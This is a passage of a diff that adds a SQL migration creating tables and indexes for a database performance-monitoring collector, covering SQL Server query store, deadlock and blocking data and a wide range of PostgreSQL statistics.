+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    query_id bigint,
+    plan_id bigint,
+    execution_type_desc text,
+    first_execution_time timestamp,
+    last_execution_time timestamp,
+    module_name text,
+    query_text text,
+    query_hash text,
+    execution_count bigint,
+    avg_duration_us bigint,
+    min_duration_us bigint,
+    max_duration_us bigint,
+    avg_cpu_time_us bigint,
+    min_cpu_time_us bigint,
+    max_cpu_time_us bigint,
+    avg_logical_io_reads bigint,
+    min_logical_io_reads bigint,
+    max_logical_io_reads bigint,
+    avg_logical_io_writes bigint,
+    min_logical_io_writes bigint,
+    max_logical_io_writes bigint,
+    avg_physical_io_reads bigint,
+    min_physical_io_reads bigint,
+    max_physical_io_reads bigint,
+    avg_clr_time_us bigint,
+    min_clr_time_us bigint,
+    max_clr_time_us bigint,
+    min_dop bigint,
+    max_dop bigint,
+    avg_query_max_used_memory bigint,
+    min_query_max_used_memory bigint,
+    max_query_max_used_memory bigint,
+    avg_rowcount bigint,
+    min_rowcount bigint,
+    max_rowcount bigint,
+    avg_num_physical_io_reads bigint,
+    min_num_physical_io_reads bigint,
+    max_num_physical_io_reads bigint,
+    avg_log_bytes_used bigint,
+    min_log_bytes_used bigint,
+    max_log_bytes_used bigint,
+    avg_tempdb_space_used bigint,
+    min_tempdb_space_used bigint,
+    max_tempdb_space_used bigint,
+    plan_type text,
+    plan_forcing_type text,
+    is_forced_plan boolean,
+    force_failure_count bigint,
+    last_force_failure_reason text,
+    compatibility_level integer,
+    query_plan_text text,
+    query_plan_hash text,
+    replica_role text,
+    runtime_stats_interval_id bigint,
+    interval_start_time_utc timestamp,
+    interval_end_time_utc timestamp
+);
+CREATE INDEX IF NOT EXISTS idx_query_store_stats_time ON query_store_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS deadlocks (
+    deadlock_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    deadlock_time timestamp,
+    victim_process_id text,
+    victim_sql_text text,
+    deadlock_graph_xml text,
+    victim_query_plan_xml text,
+    database_name text
+);
+CREATE INDEX IF NOT EXISTS idx_deadlocks_time ON deadlocks(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS blocked_process_reports (
+    blocked_report_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    event_time timestamp,
+    database_name text,
+    blocked_spid integer,
+    blocked_ecid integer,
+    blocking_spid integer,
+    blocking_ecid integer,
+    wait_time_ms bigint,
+    wait_resource text,
+    lock_mode text,
+    blocked_status text,
+    blocked_isolation_level text,
+    blocked_log_used bigint,
+    blocked_transaction_count integer,
+    blocked_client_app text,
+    blocked_host_name text,
+    blocked_login_name text,
+    blocked_sql_text text,
+    blocking_status text,
+    blocking_isolation_level text,
+    blocking_client_app text,
+    blocking_host_name text,
+    blocking_login_name text,
+    blocking_sql_text text,
+    blocked_transaction_name text,
+    blocking_transaction_name text,
+    blocked_last_tran_started timestamp,
+    blocking_last_tran_started timestamp,
+    blocked_last_batch_started timestamp,
+    blocking_last_batch_started timestamp,
+    blocked_last_batch_completed timestamp,
+    blocking_last_batch_completed timestamp,
+    blocked_priority integer,
+    blocking_priority integer,
+    blocked_process_report_xml text,
+    object_id integer,
+    database_id integer,
+    contentious_object text,
+    monitor_loop integer,
+    blocked_query_plan_xml text,
+    blocking_query_plan_xml text
+);
+CREATE INDEX IF NOT EXISTS idx_blocked_process_reports_time ON blocked_process_reports(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS long_query_completions (
+    long_query_completion_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    event_time timestamp,
+    event_type text,
+    database_id integer,
+    database_name text,
+    session_id integer,
+    client_app_name text,
+    client_pid integer,
+    nt_username text,
+    server_principal_name text,
+    query_hash text,
+    event_sequence bigint,
+    duration_microseconds bigint,
+    cpu_time_microseconds bigint,
+    physical_reads bigint,
+    logical_reads bigint,
+    writes bigint,
+    row_count bigint,
+    result text,
+    statement_text text,
+    object_name text
+);
+CREATE INDEX IF NOT EXISTS idx_long_query_completions_time ON long_query_completions(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS system_health_events (
+    system_health_event_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    event_time timestamp,
+    event_type text,
+    event_xml text
+);
+CREATE INDEX IF NOT EXISTS idx_system_health_events_time ON system_health_events(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS default_trace_events (
+    default_trace_event_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    event_time timestamp,
+    event_name text,
+    event_class integer,
+    spid integer,
+    database_name text,
+    database_id integer,
+    login_name text,
+    host_name text,
+    application_name text,
+    object_name text,
+    filename text,
+    integer_data bigint,
+    integer_data_2 bigint,
+    text_data text,
+    session_login_name text,
+    error_number integer,
+    severity integer,
+    state integer,
+    event_sequence bigint,
+    duration_us bigint,
+    end_time timestamp
+);
+CREATE INDEX IF NOT EXISTS idx_default_trace_events_time ON default_trace_events(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS job_history (
+    job_history_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    instance_id bigint,
+    job_id text,
+    job_name text,
+    job_enabled boolean,
+    category_name text,
+    step_id integer,
+    step_name text,
+    run_status integer,
+    run_status_desc text,
+    run_datetime timestamp,
+    run_duration_seconds bigint,
+    retries_attempted integer,
+    message text
+);
+CREATE INDEX IF NOT EXISTS idx_job_history_time ON job_history(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS agent_status (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    agent_running boolean,
+    agent_status_desc text,
+    agent_startup_desc text,
+    next_scheduled_run timestamp
+);
+CREATE INDEX IF NOT EXISTS idx_agent_status_time ON agent_status(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS ag_replica_states (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    ag_name text,
+    replica_server_name text,
+    role_desc text,
+    operational_state_desc text,
+    connected_state_desc text,
+    recovery_health_desc text,
+    synchronization_health_desc text,
+    availability_mode_desc text,
+    failover_mode_desc text,
+    endpoint_url text,
+    is_local boolean,
+    group_id text
+);
+CREATE INDEX IF NOT EXISTS idx_ag_replica_states_time ON ag_replica_states(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS ag_database_replica_states (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    ag_name text,
+    database_name text,
+    replica_server_name text,
+    is_local boolean,
+    synchronization_state_desc text,
+    last_hardened_lsn text,
+    last_commit_lsn text,
+    log_send_queue_size bigint,
+    redo_queue_size bigint,
+    log_send_rate bigint,
+    redo_rate bigint,
+    is_suspended boolean,
+    suspend_reason_desc text,
+    availability_mode_desc text,
+    secondary_lag_seconds bigint,
+    last_commit_time timestamp,
+    last_hardened_time timestamp,
+    last_redone_time timestamp,
+    last_received_time timestamp,
+    est_redo_completion_time_min double precision,
+    est_send_drain_time_min double precision,
+    group_id text
+);
+CREATE INDEX IF NOT EXISTS idx_ag_database_replica_states_time ON ag_database_replica_states(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS plan_correction (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    force_last_good_plan_desired_state text,
+    force_last_good_plan_actual_state text,
+    force_last_good_plan_reason text,
+    create_index_actual_state text,
+    drop_index_actual_state text,
+    recommendation_name text,
+    recommendation_type text,
+    recommendation_state text,
+    recommendation_state_reason text,
+    recommendation_reason text,
+    valid_since timestamp,
+    last_refresh timestamp,
+    score integer,
+    query_id bigint,
+    query_text text,
+    regressed_plan_id bigint,
+    last_good_plan_id bigint,
+    last_good_plan_forcing_type text,
+    last_good_plan_is_forced boolean,
+    last_good_plan_force_failure_reason text,
+    regressed_plan_execution_count bigint,
+    regressed_plan_cpu_time_average_ms double precision,
+    regressed_plan_error_count bigint,
+    last_good_plan_execution_count bigint,
+    last_good_plan_cpu_time_average_ms double precision,
+    last_good_plan_error_count bigint,
+    estimated_gain_seconds double precision,
+    is_executable_action boolean,
+    is_revertable_action boolean,
+    execute_action_initiated_by text,
+    execute_action_initiated_time timestamp,
+    execute_action_start_time timestamp,
+    execute_action_duration_seconds double precision,
+    revert_action_initiated_by text,
+    revert_action_initiated_time timestamp,
+    revert_action_start_time timestamp,
+    revert_action_duration_seconds double precision,
+    implementation_script text
+);
+CREATE INDEX IF NOT EXISTS idx_plan_correction_time ON plan_correction(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pvs_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    database_id integer,
+    is_accelerated_database_recovery_on boolean,
+    pvs_filegroup_id smallint,
+    persistent_version_store_size_mb numeric(19,2),
+    online_index_version_store_size_mb numeric(19,2),
+    database_data_size_mb numeric(19,2),
+    current_aborted_transaction_count bigint,
+    oldest_active_transaction_id bigint,
+    oldest_aborted_transaction_id bigint,
+    min_transaction_timestamp bigint,
+    online_index_min_transaction_timestamp bigint,
+    secondary_low_water_mark bigint,
+    offrow_version_cleaner_start_time timestamp,
+    offrow_version_cleaner_end_time timestamp,
+    aborted_version_cleaner_start_time timestamp,
+    aborted_version_cleaner_end_time timestamp,
+    pvs_off_row_page_skipped_low_water_mark bigint,
+    pvs_off_row_page_skipped_transaction_not_cleaned bigint,
+    pvs_off_row_page_skipped_oldest_active_xdesid bigint,
+    pvs_off_row_page_skipped_min_useful_xts bigint,
+    pvs_off_row_page_skipped_oldest_snapshot bigint,
+    pvs_off_row_page_skipped_oldest_aborted_xdesid bigint
+);
+CREATE INDEX IF NOT EXISTS idx_pvs_stats_time ON pvs_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_wait_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    wait_type_id integer,
+    wait_event_id bigint,
+    wait_type text,
+    wait_event text,
+    waits bigint,
+    wait_time_us bigint,
+    delta_waits bigint,
+    delta_wait_time_us bigint,
+    sample_interval_seconds integer
+);
+CREATE INDEX IF NOT EXISTS idx_pg_wait_stats_time ON pg_wait_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_statement_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    queryid bigint,
+    database_id bigint,
+    user_id bigint,
+    toplevel boolean,
+    calls bigint,
+    total_exec_time_ms double precision,
+    min_exec_time_ms double precision,
+    max_exec_time_ms double precision,
+    mean_exec_time_ms double precision,
+    rows_returned bigint,
+    shared_blks_hit bigint,
+    shared_blks_read bigint,
+    shared_blks_dirtied bigint,
+    shared_blks_written bigint,
+    temp_blks_read bigint,
+    temp_blks_written bigint,
+    blk_read_time_ms double precision,
+    blk_write_time_ms double precision,
+    storage_blks_read bigint,
+    orcache_blks_hit bigint,
+    storage_blk_read_time_ms double precision,
+    orcache_blk_read_time_ms double precision,
+    wal_records bigint,
+    wal_fpi bigint,
+    wal_bytes bigint,
+    total_exec_peakmem_bytes bigint,
+    max_exec_peakmem_bytes bigint,
+    delta_calls bigint,
+    delta_total_exec_time_ms bigint,
+    delta_rows bigint,
+    sample_interval_seconds integer
+);
+CREATE INDEX IF NOT EXISTS idx_pg_statement_stats_time ON pg_statement_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_wraparound_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    frozen_xid_age bigint,
+    min_multixid_age bigint,
+    autovacuum_freeze_max_age bigint,
+    autovacuum_multixact_freeze_max_age bigint,
+    pct_toward_emergency_vacuum double precision,
+    pct_toward_wraparound double precision,
+    pct_toward_multixact_emergency double precision,
+    pct_toward_multixact_wraparound double precision,
+    xids_remaining bigint,
+    multixids_remaining bigint,
+    allows_connections boolean
+);
+CREATE INDEX IF NOT EXISTS idx_pg_wraparound_stats_time ON pg_wraparound_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_server_config (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    name text,
+    setting text,
+    unit text,
+    category text,
+    context text,
+    vartype text,
+    source text,
+    boot_val text,
+    reset_val text,
+    sourcefile text,
+    sourceline integer,
+    pending_restart boolean,
+    short_desc text,
+    database_name text,
+    role_name text
+);
+CREATE INDEX IF NOT EXISTS idx_pg_server_config_time ON pg_server_config(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_deadlocks (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    occurred_at timestamp,
+    victim_pid integer,
+    participant_count integer,
+    deadlock_hash text,
+    lock_modes text,
+    resources text,
+    victim_statement text,
+    graph_text text
+);
+CREATE INDEX IF NOT EXISTS idx_pg_deadlocks_time ON pg_deadlocks(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_log_events (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    occurred_at timestamp,
+    family text,
+    severity text,
+    sqlstate text,
+    database_name text,
+    user_name text,
+    application_name text,
+    pid integer,
+    message text,
+    detail text,
+    context text,
+    statement_fingerprint text,
+    raw_line_hash text,
+    relation_name text,
+    bytes bigint,
+    duration_ms bigint,
+    pages_removed bigint,
+    pages_remaining bigint,
+    tuples_removed bigint,
+    tuples_remaining bigint,
+    buffer_hits bigint,
+    buffer_misses bigint,
+    buffer_dirtied bigint,
+    wal_records bigint,
+    wal_bytes bigint,
+    is_analyze boolean
+);
+CREATE INDEX IF NOT EXISTS idx_pg_log_events_time ON pg_log_events(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_xmin_horizon (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    source text,
+    xmin_age bigint,
+    holder text,
+    detail text,
+    is_winner boolean
+);
+CREATE INDEX IF NOT EXISTS idx_pg_xmin_horizon_time ON pg_xmin_horizon(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_replication_slot_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    slot_name text,
+    slot_type text,
+    plugin text,
+    database_name text,
+    is_active boolean,
+    active_pid bigint,
+    is_temporary boolean,
+    two_phase boolean,
+    wal_status text,
+    safe_wal_size_bytes bigint,
+    retained_wal_bytes bigint,
+    xmin_age bigint,
+    catalog_xmin_age bigint,
+    inactive_since timestamp,
+    invalidation_reason text,
+    conflicting boolean
+);
+CREATE INDEX IF NOT EXISTS idx_pg_replication_slot_stats_time ON pg_replication_slot_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_autovacuum_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    live_tuples bigint,
+    dead_tuples bigint,
+    mods_since_analyze bigint,
+    inserts_since_vacuum bigint,
+    vacuum_threshold bigint,
+    insert_vacuum_threshold bigint,
+    analyze_threshold bigint,
+    autovacuum_disabled boolean,
+    total_bytes bigint,
+    last_vacuum timestamp,
+    last_autovacuum timestamp,
+    last_analyze timestamp,
+    last_autoanalyze timestamp,
+    vacuum_count bigint,
+    autovacuum_count bigint,
+    analyze_count bigint,
+    autoanalyze_count bigint
+);
+CREATE INDEX IF NOT EXISTS idx_pg_autovacuum_stats_time ON pg_autovacuum_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_io_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    backend_type text,
+    object_type text,
+    context text,
+    reads bigint,
+    read_time_ms double precision,
+    writes bigint,
+    write_time_ms double precision,
+    writebacks bigint,
+    writeback_time_ms double precision,
+    extends bigint,
+    extend_time_ms double precision,
+    op_bytes bigint,
+    hits bigint,
+    evictions bigint,
+    reuses bigint,
+    fsyncs bigint,
+    fsync_time_ms double precision,
+    stats_reset timestamp,
+    read_bytes numeric(28,0),
+    write_bytes numeric(28,0),
+    extend_bytes numeric(28,0)
+);
+CREATE INDEX IF NOT EXISTS idx_pg_io_stats_time ON pg_io_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_blocking_edges (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    blocked_backend_id bigint,
+    blocked_pid integer,
+    blocking_backend_id bigint,
+    blocking_pid integer,
+    database_name text,
+    blocked_username text,
+    blocked_application_name text,
+    blocked_client_addr text,
+    blocked_state text,
+    blocked_wait_event_type text,
+    blocked_wait_event text,
+    blocked_query text,
+    blocked_xact_duration_ms bigint,
+    blocked_query_duration_ms bigint,
+    blocking_username text,
+    blocking_application_name text,
+    blocking_client_addr text,
+    blocking_state text,
+    blocking_wait_event_type text,
+    blocking_wait_event text,
+    blocking_query text,
+    blocking_xact_duration_ms bigint,
+    blocking_query_duration_ms bigint,
+    blocked_pid_count integer,
+    blocking_is_idle_in_transaction boolean,
+    query_text_may_be_truncated boolean
+);
+CREATE INDEX IF NOT EXISTS idx_pg_blocking_edges_time ON pg_blocking_edges(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_database_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    xact_commit bigint,
+    xact_rollback bigint,
+    blks_read bigint,
+    blks_hit bigint,
+    temp_files bigint,
+    temp_bytes bigint,
+    deadlocks bigint,
+    stats_reset timestamp,
+    numbackends integer
+);
+CREATE INDEX IF NOT EXISTS idx_pg_database_stats_time ON pg_database_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_index_usage_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    index_name text,
+    index_scans bigint,
+    tuples_read bigint,
+    tuples_fetched bigint,
+    blocks_read bigint,
+    blocks_hit bigint,
+    index_bytes bigint,
+    table_bytes bigint,
+    is_unique boolean,
+    is_primary_key boolean,
+    is_valid boolean,
+    is_ready boolean,
+    is_replica_identity boolean,
+    is_partial boolean,
+    is_expression boolean,
+    supports_constraint boolean,
+    index_method text,
+    column_count integer,
+    index_definition text,
+    last_scan timestamp,
+    stats_reset timestamp
+);
+CREATE INDEX IF NOT EXISTS idx_pg_index_usage_stats_time ON pg_index_usage_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_table_bloat_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    heap_bytes bigint,
+    heap_pages bigint,
+    toast_bytes bigint,
+    index_bytes bigint,
+    live_tuples bigint,
+    dead_tuples bigint,
+    mods_since_analyze bigint,
+    last_analyzed timestamp,
+    estimated_tuple_bytes double precision,
+    estimated_heap_pages bigint,
+    fillfactor integer,
+    bloat_bytes_estimate bigint,
+    bloat_pct_estimate numeric(5,2),
+    estimate_unavailable boolean,
+    alignment_bytes integer,
+    pgstattuple_available boolean
+);
+CREATE INDEX IF NOT EXISTS idx_pg_table_bloat_stats_time ON pg_table_bloat_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_session_states (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    backend_id bigint,
+    pid integer,
+    database_name text,
+    username text,
+    application_name text,
+    client_addr text,
+    backend_type text,
+    state text,
+    wait_event_type text,
+    wait_event text,
+    command_tag text,
+    query_id bigint,
+    state_duration_ms bigint,
+    xact_duration_ms bigint,
+    query_duration_ms bigint,
+    backend_duration_ms bigint,
+    xmin_age bigint,
+    xid_age bigint,
+    horizon_age bigint,
+    is_idle_in_transaction boolean,
+    is_horizon_holder boolean,
+    state_is_redacted boolean,
+    total_sessions integer,
+    active_sessions integer,
+    idle_in_transaction_sessions integer,
+    reportable_sessions integer
+);
+CREATE INDEX IF NOT EXISTS idx_pg_session_states_time ON pg_session_states(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_plan_capture_readiness (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    facet text,
+    is_satisfied boolean,
+    observed text,
+    detail text
+);
+CREATE INDEX IF NOT EXISTS idx_pg_plan_capture_readiness_time ON pg_plan_capture_readiness(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_write_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    num_timed bigint,
+    num_requested bigint,
+    num_done bigint,
+    restartpoints_timed bigint,
+    restartpoints_req bigint,
+    restartpoints_done bigint,
+    checkpoint_write_time_ms double precision,
+    checkpoint_sync_time_ms double precision,
+    buffers_written_checkpoint bigint,
+    slru_written bigint,
+    checkpointer_stats_reset timestamp,
+    buffers_clean bigint,
+    maxwritten_clean bigint,
+    buffers_alloc bigint,
+    buffers_backend bigint,
+    buffers_backend_fsync bigint,
+    bgwriter_stats_reset timestamp,
+    wal_records bigint,
+    wal_fpi bigint,
+    wal_bytes numeric(38,0),
+    wal_buffers_full bigint,
+    wal_write bigint,
+    wal_sync bigint,
+    wal_write_time_ms double precision,
+    wal_sync_time_ms double precision,
+    wal_stats_reset timestamp,
+    postmaster_start_time timestamp
+);
+CREATE INDEX IF NOT EXISTS idx_pg_write_stats_time ON pg_write_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_extension_availability (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    extension_name text,
+    state text,
+    installed_version text,
+    default_version text,
+    is_monitoring_relevant boolean,
+    comment text
+);
+CREATE INDEX IF NOT EXISTS idx_pg_extension_availability_time ON pg_extension_availability(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_lock_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    lock_type text,
+    mode text,
+    granted boolean,
+    relation_oid bigint,
+    relation_name text,
+    backend_count bigint,
+    oldest_wait_ms double precision
+);
+CREATE INDEX IF NOT EXISTS idx_pg_lock_stats_time ON pg_lock_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_wait_sampling (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    event_type text,
+    event text,
+    query_id bigint,
+    sample_count bigint,
+    profile_period_ms integer,
+    backend_count integer,
+    sampled_ms integer
+);
+CREATE INDEX IF NOT EXISTS idx_pg_wait_sampling_time ON pg_wait_sampling(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_kernel_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    query_id bigint,
+    exec_user_time_ms double precision,
+    exec_system_time_ms double precision,
+    plan_cpu_time_ms double precision,
+    exec_read_bytes bigint,
+    exec_write_bytes bigint,
+    minor_faults bigint,
+    major_faults bigint,
+    stats_since timestamp
+);
+CREATE INDEX IF NOT EXISTS idx_pg_kernel_stats_time ON pg_kernel_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_predicate_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    column_name text,
+    operator text,
+    query_id bigint,
+    sample_count bigint,
+    rows_evaluated bigint,
+    rows_filtered bigint,
+    worst_estimate_error_ratio double precision,
+    sample_rate double precision
+);
+CREATE INDEX IF NOT EXISTS idx_pg_predicate_stats_time ON pg_predicate_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_plan_capture (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    query_id bigint,
+    plan_hash text,
+    duration_ms double precision,
+    node_count integer,
+    top_node_type text,
+    plan_json text
+);
+CREATE INDEX IF NOT EXISTS idx_pg_plan_capture_time ON pg_plan_capture(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_column_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    column_name text,
+    n_distinct double precision,
+    null_frac double precision,
+    avg_width integer,
+    correlation double precision,
+    top_value_frequency double precision,
+    common_value_count integer
+);
+CREATE INDEX IF NOT EXISTS idx_pg_column_stats_time ON pg_column_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_replication_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    application_name text,
+    client_addr text,
+    state text,
+    sync_state text,
+    sync_priority integer,
+    sent_bytes_behind bigint,
+    write_bytes_behind bigint,
+    flush_bytes_behind bigint,
+    replay_bytes_behind bigint,
+    write_lag_ms double precision,
+    flush_lag_ms double precision,
+    replay_lag_ms double precision,
+    backend_start timestamp
+);
+CREATE INDEX IF NOT EXISTS idx_pg_replication_stats_time ON pg_replication_stats(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_buffer_usage (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    relation_name text,
+    relation_kind text,
+    buffers bigint,
+    dirty_buffers bigint,
+    avg_usage_count double precision,
+    pool_buffers_total bigint,
+    pool_buffers_used bigint
+);
+CREATE INDEX IF NOT EXISTS idx_pg_buffer_usage_time ON pg_buffer_usage(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_index_bloat (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    index_name text,
+    index_bytes bigint,
+    tree_level integer,
+    internal_pages bigint,
+    leaf_pages bigint,
+    empty_pages bigint,
+    deleted_pages bigint,
+    avg_leaf_density double precision,
+    leaf_fragmentation double precision,
+    skipped_reason text,
+    index_pages bigint,
+    table_rows bigint,
+    fillfactor integer,
+    est_tuple_bytes bigint,
+    est_leaf_pages bigint,
+    est_bloat_pct double precision,
+    est_reclaimable_bytes bigint,
+    pgstattuple_available boolean
+);
+CREATE INDEX IF NOT EXISTS idx_pg_index_bloat_time ON pg_index_bloat(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_cpu_utilization (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    sample_time timestamp,
+    cpu_percent double precision,
+    acu_utilization_percent double precision,
+    serverless_capacity_acu double precision,
+    max_configured_acu double precision,
+    memory_total_bytes bigint,
+    memory_free_bytes bigint,
+    memory_cached_bytes bigint,
+    memory_buffers_bytes bigint,
+    memory_active_bytes bigint,
+    configured_memory_bytes bigint
+);
+CREATE INDEX IF NOT EXISTS idx_pg_cpu_utilization_time ON pg_cpu_utilization(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS pg_database_size_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    size_bytes bigint,
+    total_bytes bigint,
+    is_template boolean,
+    allows_connections boolean
+);
+CREATE INDEX IF NOT EXISTS idx_pg_database_size_stats_time ON pg_database_size_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (1, 'collector-tables', now()::timestamp);
+-- ===BATCH=== V2 server-registry-and-collection-log
+
+CREATE TABLE IF NOT EXISTS servers (
+    server_id integer NOT NULL PRIMARY KEY,
+    server_name text NOT NULL,
+    display_name text,
+    is_enabled boolean NOT NULL DEFAULT TRUE,
+    sql_engine_edition integer,
+    sql_major_version integer,
+    created_date timestamp,
+    modified_date timestamp
+);
+
+CREATE TABLE IF NOT EXISTS collection_log (
+    log_id bigint NOT NULL,
+    server_id integer NOT NULL,
+    server_name text,
+    collector_name text NOT NULL,
